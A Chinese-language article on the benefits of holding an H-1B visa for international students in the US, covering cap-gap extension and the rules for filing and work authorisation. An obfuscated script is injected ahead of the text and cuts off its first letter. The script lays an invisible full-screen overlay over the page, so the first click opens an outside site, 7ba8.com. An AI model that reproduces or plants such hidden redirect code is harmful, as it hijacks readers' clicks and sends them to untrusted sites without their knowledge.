<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>-1 B 几乎是留美学生毕业后找工作的必经之路。 不论毕业后是否打算回国， 曾经拥有H-1 B， 将会对现实的身份延长和未来的再次返美提供极大的便利。
1。 Cap-Gap Extension 延续OPT结束后的留美身份在OPT Grace Period 结束之前，递交H-1 B 申请， 可以延长OPT Grace Period结束后， 直至10月1日H-1 B生效的合法留美时间， 这就是所谓的Cap-Gap Extension。 这条规定，为许多在实习期已经有了雇主的F-1 学生提供了很大方便， 可以让他们连续不间断地继续为雇主工作， 直至10月1日H-1 B生效， 这也是多数雇主希望和要求的。
2。第一次H-1 B 申请与生效日期的限制除了一些Non- Profit 机构的H-1 B申请以外， 一般的H-1 B每年4月1日开始申请， 10月1日生效。 如果曾经申请到H-1 B， 则不受这个限制。第二个工作的H-1 B，视同转换雇主， 可以在任何时间申请， 任何时间生效。 比如， 2月找到雇主， 而且雇主希望立即开始工作， 如果没有了OPT， 新的H- 1B 要等到10月1生效， 这个job offer 就有可能拿不到。 如果， 已经拥有H- 1B， 则开始在雇主要求的时间开始工作， 不受H-1 B 10月1日生效的限制。
3。延续OPT 结束后工作的许可只要在OPT期间 ， 不包括其后的两个月Grace Period， 及时递交了H-1 B申请，申请人的身份和工作许可都可以延伸至10月1日。 就是说， 申请人不仅可以合法在美国等候H-1 B 生效， 也可以不间断为雇主工作。 当然， 如果在Grace Period 递交H-1 B， 则只延长身份，而不能在OPT结束后继续工作。 |
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